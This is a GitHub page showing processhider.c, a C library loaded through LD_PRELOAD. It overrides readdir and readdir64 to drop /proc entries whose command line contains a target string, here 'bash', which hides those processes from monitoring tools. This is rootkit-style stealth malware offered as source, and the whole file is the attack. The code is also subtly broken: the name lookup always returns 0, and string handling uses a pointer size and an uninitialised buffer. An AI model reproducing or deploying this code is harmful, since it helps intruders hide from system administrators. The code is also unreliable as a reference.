-
Notifications
You must be signed in to change notification settings - Fork 0
/
processhider.c
132 lines (118 loc) · 4.21 KB
/
processhider.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char *process_to_filter = "bash";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR *dirp, char *buf, size_t size)
{
int fd = dirfd(dirp);
if (fd == -1)
{
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if (ret == -1)
{
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char *pid, char *buffer)
{
if (strspn(pid, "0123456789") != strlen(pid))
{
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/cmdline", pid);
FILE *f = fopen(tmp, "rb");
if (f == NULL)
{
return 0;
}
char *arg = 0;
size_t size = 0;
while (getdelim(&arg, &size, 0, f) != -1)
{
strncat(buffer, arg, sizeof(arg));
}
free(arg);
fclose(f);
return 0;
}
// static int get_process_name(char *pid, char *buf)
// {
// if (strspn(pid, "0123456789") != strlen(pid))
// {
// return 0;
// }
// char tmp[256];
// snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
// FILE *f = fopen(tmp, "r");
// if (f == NULL)
// {
// return 0;
// }
// if (fgets(tmp, sizeof(tmp), f) == NULL)
// {
// fclose(f);
// return 0;
// }
// fclose(f);
// int unused;
// sscanf(tmp, "%d (%[^)]s", &unused, buf);
// return 1;
// }
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent *(*original_##readdir)(DIR *) = NULL; \
\
struct dirent *readdir(DIR *dirp) \
{ \
if (original_##readdir == NULL) \
{ \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if (original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent *dir; \
\
while (1) \
{ \
dir = original_##readdir(dirp); \
if (dir) \
{ \
char dir_name[256]; \
char process_name[500]; \
if (get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strstr(process_name, process_to_filter) != NULL) \
{ \
memset(process_name, 0, sizeof(process_name)); \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);